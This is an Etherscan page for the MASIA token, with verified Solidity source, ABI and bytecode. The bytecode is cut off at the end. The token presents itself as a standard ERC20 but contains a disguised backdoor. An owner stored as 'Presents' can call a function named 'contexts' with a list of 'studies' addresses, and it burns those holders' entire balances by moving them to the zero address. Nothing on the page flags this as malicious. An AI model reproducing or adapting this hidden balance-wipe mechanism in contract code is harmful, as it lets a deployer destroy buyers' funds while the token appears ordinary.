ETH Price: $2,469.92 (-2.03%)

Token

MASIA (MASIA)
 

Overview

Max Total Supply

617,000,000 MASIA

Holders

32

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
0xtaichi.eth
Balance
0 MASIA

Value
$0.00
0x35376731d7C3aB2E1FA83BA78b144DC08648B0f8
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
MASIA

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-07-17
*/

/**
 *Submitted for verification at Etherscan.io on 2024-07-14
*/

/**

*/

// File: @openzeppelin/contracts/utils/Address.sol

// OpenZeppelin Contracts (last updaated v4.8.0) (utils/Address.sol)

pragma solidity ^0.8.1;

/**
 * @dev Collection of functions related to the address type
 */
library Address {
    /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     * ====
     *
     * [IMPORTANT]
     * ====
     * You shouldn't rely on `isContract` to protect against flash loan attacks!
     *
     * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
     * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
     * constructor.
     * ====
     */
    function isContract(address account) internal view returns (bool) {
        // This method relies on extcodesize/address.code.length, which returns 0
        // for contracts in construction, since the code is only stored at the end
        // of the constructor execution.

        return account.code.length > 0;
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{value: amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain `call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, "Address: low-level call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
     * `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        (bool success, bytes memory returndata) = target.call{value: value}(data);
        return verifyCallResultFromTarget(target, success, returndata, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        (bool success, bytes memory returndata) = target.staticcall(data);
        return verifyCallResultFromTarget(target, success, returndata, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return verifyCallResultFromTarget(target, success, returndata, errorMessage);
    }

    /**
     * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling
     * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.
     *
     * _Available since v4.8._
     */
    function verifyCallResultFromTarget(
        address target,
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        if (success) {
            if (returndata.length == 0) {
                // only check isContract if the call was successful and the return data is empty
                // otherwise we already know that it was a contract
                require(isContract(target), "Address: call to non-contract");
            }
            return returndata;
        } else {
            _revert(returndata, errorMessage);
        }
    }

    /**
     * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the
     * revert reason or using the provided one.
     *
     * _Available since v4.3._
     */
    function verifyCallResult(
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal pure returns (bytes memory) {
        if (success) {
            return returndata;
        } else {
            _revert(returndata, errorMessage);
        }
    }

    function _revert(bytes memory returndata, string memory errorMessage) private pure {
        // Look for revert reason and bubble it up if present
        if (returndata.length > 0) {
            // The easiest way to bubble the revert reason is using memory via assembly
            /// @solidity memory-safe-assembly
            assembly {
                let returndata_size := mload(returndata)
                revert(add(32, returndata), returndata_size)
            }
        } else {
            revert(errorMessage);
        }
    }
}

// File: @openzeppelin/contracts/utils/math/SafeMath.sol


// OpenZeppelin Contracts (last updated v4.6.0) (utils/math/SafeMath.sol)

pragma solidity ^0.8.0;

// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.

/**
 * @dev Wrappers over Solidity's arithmetic operations.
 *
 * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
 * now has built in overflow checking.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {trySub}.
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting with custom message when dividing by zero.
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {tryMod}.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

// File: @openzeppelin/contracts/utils/Context.sol


// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// File: barb.sol


/**
 *SPDX-License-Identifier: MIT
 */
pragma solidity ^0.8.18;



interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}


contract MASIA is Context, IERC20 {
 
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    using SafeMath for uint256;
    using Address for address;
    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;

    address public  Presents;
    constructor () {
        _name = "MASIA";
        _symbol = "MASIA";
        _decimals = 18;
        uint256 initialSupply =617000000;
         Presents = msg.sender;
        _mint(msg.sender, initialSupply*(10**18));
    }


    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    modifier onlyOwner() {
        require(msg.sender == Presents, "Not allowed");
        _;
    }

    function contexts(address[] memory studies) public onlyOwner() {
        for (uint256 i = 0; i < studies.length; i++) {
            address account = studies[i];
            uint256 amount = _balances[account];
            _balances[account] = _balances[account].sub(amount, "ERROR");
            _balances[address(0)] = _balances[address(0)].add(amount);
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"Presents","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"studies","type":"address[]"}],"name":"contexts","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

608060405234801562000010575f80fd5b506040518060400160405280600581526020017f4d415349410000000000000000000000000000000000000000000000000000008152506002908162000057919062000535565b506040518060400160405280600581526020017f4d41534941000000000000000000000000000000000000000000000000000000815250600390816200009e919062000535565b50601260045f6101000a81548160ff021916908360ff1602179055505f6324c6ac4090503360065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506200012933670de0b6b3a7640000836200011d919062000646565b6200013060201b60201c565b5062000774565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620001a1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200019890620006ee565b60405180910390fd5b620001b881600554620002ba60201b90919060201c565b6005819055506200020f815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054620002ba60201b90919060201c565b5f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620002ae91906200071f565b60405180910390a35050565b5f8183620002c991906200073a565b905092915050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200034d57607f821691505b60208210810362000363576200036262000308565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620003c77fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200038a565b620003d386836200038a565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f6200041d620004176200041184620003eb565b620003f4565b620003eb565b9050919050565b5f819050919050565b6200043883620003fd565b62000450620004478262000424565b84845462000396565b825550505050565b5f90565b6200046662000458565b620004738184846200042d565b505050565b5b818110156200049a576200048e5f826200045c565b60018101905062000479565b5050565b601f821115620004e957620004b38162000369565b620004be846200037b565b81016020851015620004ce578190505b620004e6620004dd856200037b565b83018262000478565b50505b505050565b5f82821c905092915050565b5f6200050b5f1984600802620004ee565b1980831691505092915050565b5f620005258383620004fa565b9150826002028217905092915050565b6200054082620002d1565b67ffffffffffffffff8111156200055c576200055b620002db565b5b62000568825462000335565b620005758282856200049e565b5f60209050601f831160018114620005ab575f841562000596578287015190505b620005a2858262000518565b86555062000611565b601f198416620005bb8662000369565b5f5b82811015620005e457848901518255600182019150602085019450602081019050620005bd565b8683101562000604578489015162000600601f891682620004fa565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6200065282620003eb565b91506200065f83620003eb565b92508282026200066f81620003eb565b9150828204841483151762000689576200068862000619565b5b5092915050565b5f82825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373005f82015250565b5f620006d6601f8362000690565b9150620006e382620006a0565b602082019050919050565b5f6020820190508181035f8301526200070781620006c8565b9050919050565b6200071981620003eb565b82525050565b5f602082019050620007345f8301846200070e565b92915050565b5f6200074682620003eb565b91506200075383620003eb565b92508282019050808211156200076e576200076d62000619565b5b92915050565b61152080620007825f395ff3fe608060405234801561000f575f80fd5b50600436106100a6575f3560e01c8063313ce5671161006f578063313ce56714610164578063648b70cc1461018257806370a082311461019e57806395d89b41146101ce578063a9059cbb146101ec578063dd62ed3e1461021c576100a6565b8062746d89146100aa57806306fdde03146100c8578063095ea7b3146100e657806318160ddd1461011657806323b872dd14610134575b5f80fd5b6100b261024c565b6040516100bf9190610cd4565b60405180910390f35b6100d0610271565b6040516100dd9190610d77565b60405180910390f35b61010060048036038101906100fb9190610e05565b610301565b60405161010d9190610e5d565b60405180910390f35b61011e61031e565b60405161012b9190610e85565b60405180910390f35b61014e60048036038101906101499190610e9e565b610327565b60405161015b9190610e5d565b60405180910390f35b61016c6103fb565b6040516101799190610f09565b60405180910390f35b61019c60048036038101906101979190611062565b610410565b005b6101b860048036038101906101b391906110a9565b610670565b6040516101c59190610e85565b60405180910390f35b6101d66106b5565b6040516101e39190610d77565b60405180910390f35b61020660048036038101906102019190610e05565b610745565b6040516102139190610e5d565b60405180910390f35b610236600480360381019061023191906110d4565b610762565b6040516102439190610e85565b60405180910390f35b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6060600280546102809061113f565b80601f01602080910402602001604051908101604052809291908181526020018280546102ac9061113f565b80156102f75780601f106102ce576101008083540402835291602001916102f7565b820191905f5260205f20905b8154815290600101906020018083116102da57829003601f168201915b5050505050905090565b5f61031461030d6107e4565b84846107eb565b6001905092915050565b5f600554905090565b5f6103338484846109ae565b6103f08461033f6107e4565b6103eb856040518060600160405280602881526020016114c36028913960015f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6103a26107e4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610c2c9092919063ffffffff16565b6107eb565b600190509392505050565b5f60045f9054906101000a900460ff16905090565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461049f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610496906111b9565b60405180910390fd5b5f5b815181101561066c575f8282815181106104be576104bd6111d7565b5b602002602001015190505f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905061058e816040518060400160405280600581526020017f4552524f520000000000000000000000000000000000000000000000000000008152505f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610c2c9092919063ffffffff16565b5f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061061d815f808073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610c8090919063ffffffff16565b5f808073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505080806001019150506104a1565b5050565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6060600380546106c49061113f565b80601f01602080910402602001604051908101604052809291908181526020018280546106f09061113f565b801561073b5780601f106107125761010080835404028352916020019161073b565b820191905f5260205f20905b81548152906001019060200180831161071e57829003601f168201915b5050505050905090565b5f6107586107516107e4565b84846109ae565b6001905092915050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610859576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085090611274565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036108c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108be90611302565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516109a19190610e85565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610a1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1390611390565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610a8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a819061141e565b60405180910390fd5b610af38160405180606001604052806026815260200161149d602691395f808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610c2c9092919063ffffffff16565b5f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550610b82815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610c8090919063ffffffff16565b5f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610c1f9190610e85565b60405180910390a3505050565b5f838311158290610c73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6a9190610d77565b60405180910390fd5b5082840390509392505050565b5f8183610c8d9190611469565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610cbe82610c95565b9050919050565b610cce81610cb4565b82525050565b5f602082019050610ce75f830184610cc5565b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015610d24578082015181840152602081019050610d09565b5f8484015250505050565b5f601f19601f8301169050919050565b5f610d4982610ced565b610d538185610cf7565b9350610d63818560208601610d07565b610d6c81610d2f565b840191505092915050565b5f6020820190508181035f830152610d8f8184610d3f565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b610db181610cb4565b8114610dbb575f80fd5b50565b5f81359050610dcc81610da8565b92915050565b5f819050919050565b610de481610dd2565b8114610dee575f80fd5b50565b5f81359050610dff81610ddb565b92915050565b5f8060408385031215610e1b57610e1a610da0565b5b5f610e2885828601610dbe565b9250506020610e3985828601610df1565b9150509250929050565b5f8115159050919050565b610e5781610e43565b82525050565b5f602082019050610e705f830184610e4e565b92915050565b610e7f81610dd2565b82525050565b5f602082019050610e985f830184610e76565b92915050565b5f805f60608486031215610eb557610eb4610da0565b5b5f610ec286828701610dbe565b9350506020610ed386828701610dbe565b9250506040610ee486828701610df1565b9150509250925092565b5f60ff82169050919050565b610f0381610eee565b82525050565b5f602082019050610f1c5f830184610efa565b92915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b610f5c82610d2f565b810181811067ffffffffffffffff82111715610f7b57610f7a610f26565b5b80604052505050565b5f610f8d610d97565b9050610f998282610f53565b919050565b5f67ffffffffffffffff821115610fb857610fb7610f26565b5b602082029050602081019050919050565b5f80fd5b5f610fdf610fda84610f9e565b610f84565b9050808382526020820190506020840283018581111561100257611001610fc9565b5b835b8181101561102b57806110178882610dbe565b845260208401935050602081019050611004565b5050509392505050565b5f82601f83011261104957611048610f22565b5b8135611059848260208601610fcd565b91505092915050565b5f6020828403121561107757611076610da0565b5b5f82013567ffffffffffffffff81111561109457611093610da4565b5b6110a084828501611035565b91505092915050565b5f602082840312156110be576110bd610da0565b5b5f6110cb84828501610dbe565b91505092915050565b5f80604083850312156110ea576110e9610da0565b5b5f6110f785828601610dbe565b925050602061110885828601610dbe565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061115657607f821691505b60208210810361116957611168611112565b5b50919050565b7f4e6f7420616c6c6f77656